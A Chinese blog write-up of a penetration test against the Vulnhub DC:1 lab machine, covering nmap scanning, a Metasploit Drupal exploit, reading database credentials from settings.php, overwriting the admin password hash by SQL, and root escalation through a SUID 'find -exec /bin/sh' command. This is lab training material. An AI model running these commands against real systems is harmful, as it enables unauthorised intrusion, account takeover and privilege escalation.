准备工作

在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/

导入到vmware

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

可以看到ip为192.168.200.12的主机开放了22、80、111端口,该主机为靶机DC:1。

开始渗透

开放了80端口意味着我们可以访问他的网站,先访问192.168.200.12:80看看什么情况

是一个登陆的界面,尝试了admin等弱口令后没有结果,暂时找不到其他渗透点,只能先用dirsearch扫一遍

python3 dirsearch.py -u http://192.168.200.12:80

但是没有什么有用的信息,尝试抓包后也没有注意到什么注入点,只能看看有没有框架的漏洞

利用wappalyzer插件来查看这个网站的cms

查到cms是Drupal

接着用msf查看一下有没有关于这个cms的漏洞

在终端输入msfconsole打开msf

search一下关于drupal的漏洞

search drupal

在尝试了几个攻击模块后,发现只有第四个漏洞可以利用

use 4
set RHOSTS 192.168.200.12
run

成功连接,得到meterpreter会话

拿到shell

用ls命令查看当前的文件

注意到有一个flag1.txt文件 cat flag1.txt 查看一下里面的内容

拿到flag1

flag1给了一个小提示,翻译过来就是"每一个好的CMS都需要一个配置文件-你也是。"

那就去查看一下配置文件

Drupal的配置文件是网站根目录下的/sites/defaultx下的setting.php文件。

cd到sites 再cd到defaultx 再cat settings.php

看到了flag2以及数据库的账号密码

这里flag2也给了提示,翻译过来就是

暴力和字典攻击不是最好的选择

获得访问权限的唯一方法(您将需要访问权限)。

你能用这些证书做什么

先尝试登陆一下数据库

mysql -u dbuser -pR0ck3t  

连接成功,但是却无论输入什么都没有回显,应该是权限不足,目标主机限制了访问权限

从这开始就涉及到我的知识盲区了,目前为止我还没有学习相关的提权方法,只能跟着网上的一些文章一步步来,也当是一个初次尝试提权

权限提升

使用python 通过pty.spawn()获得交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

连接数据库

mysql -u dbuser -pR0ck3t

 

进入数据库后先查看一下数据库

show databases;

再进入drupaldb数据库查看他的表

use drupaldb;
show tables;

注意到名为user的表,查看一下

select * from user;

找到了登陆的账号密码,密码不知道是什么加密方法,

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

回到根目录执行 password-hash.sh 文件进行加密(这里不能在scripts目录下进行,否则会报错)

php ./scripts/password-hash.sh admin

将admin加密后得到的是$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1

得到了加密后的密码,就可以进入数据库修改密码啦  

update users set pass='$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1' where name='admin';

 

回到开始的网站上用刚刚的账户密码admin:admin 登陆进去

在后台找到了flag3文件

打开flag3文件又得到一个提示

提示找到passwd文件

passwd文件在etc中

这里找到了flag4的路径在 /home/flag4中

得到flag4

使用find命令提权,root。

find ./ aaa -exec '/bin/sh' \;

进入root根目录找到最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

参考文章

https://www.cnblogs.com/Gh0st1nTheShell/p/14842221.html

https://www.freesion.com/article/1909443385/

vulnhub-DC:1靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. css--常见左右盒子高度自适应布局

    前言 前端开发工程师最基础的技能要求是根据 ui 设计稿还原网页,这就缺少不了必要的网页布局,首先看下最近小伙伴问我的一个问题,他说一个网页有左右两个部分,左右两个部分的高度都不固定,要使得右部分的宽 ...

  2. Spring Reactor 入门与实践

    适合阅读的人群:本文适合对 Spring.Netty 等框架,以及 Java 8 的 Lambda.Stream 等特性有基本认识,希望了解 Spring 5 的反应式编程特性的技术人员阅读. 一.前 ...

  3. [Azure DevOps] 如何使用任务组

    1. 使用 PowerShell 脚本 在上一篇文章中我们学会了怎么使用扩展在编译前实时更改版本号.有些情况下我们希望不适用扩展,例如喜欢发明轮子,或者根本没有安装扩展的权限.这时候我们可以自己写 P ...

  4. 项目启动报错:Redis health check failed

    最近是重新开发整个项目,在上线测试的时候发现这个问题. 项目环境:SpringBoot2.x+Consul+Redission+Maven 报错的信息如下: o.s.b.a.redis.RedisHe ...

  5. 使用Spring Data JPA 访问 Mysql 数据库-配置项

    jpa操作数据库 注意:数据库采用的是本机数据库,下面是建表语句及初始化数据: SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------- ...

  6. js笔记9

    1.面向对象 js一开始就是写网页特效,面向过程的,作者发现这样写不好,代码重复利用率太高,计算机内存消耗太大,网页性能很差,所以作者就受到了java和c语言的影响,往面向对象靠齐.js天生有一个Ob ...

  7. 用户RFM模型及应用

    RMF含义 R(Recency)(用户粘性,越小越好):用户最近一次交易时间的间隔.R值越大,表示用户交易发生的日期越久,反之则表示用户交易发生的日期越近 F(Frequency)(用户忠诚度,越大越 ...

  8. (C++)戳西瓜

    写在前面的话: 请不要吝啬你的点赞!!! 题目描述 有 n 个西瓜,编号为0 到 n-1,每个西瓜上都标有一个数字,这些数字存在数组 nums 中. 现在要求你戳破所有的西瓜.每当你戳破一个西瓜 i ...

  9. 企业该选择什么样的CRM系统

    不论您是需要CRM系统来优化业务流程,还是准备更换一款新的CRM系统,在这之前都应该先明确企业的需求,并了解CRM的哪些功能能够对企业有所帮助.例如,企业的管理者想了解每个销售人员的业绩情况,那么就应 ...

  10. php laravel5.5使用rabbitmq消息队列

    1.安装rabbitmq 2.安装amqp扩展 3.在Laravel中配置 Rabbitmq 我是Laravel5.5,按照文档上说我只能用6版本 composer require vladimir- ...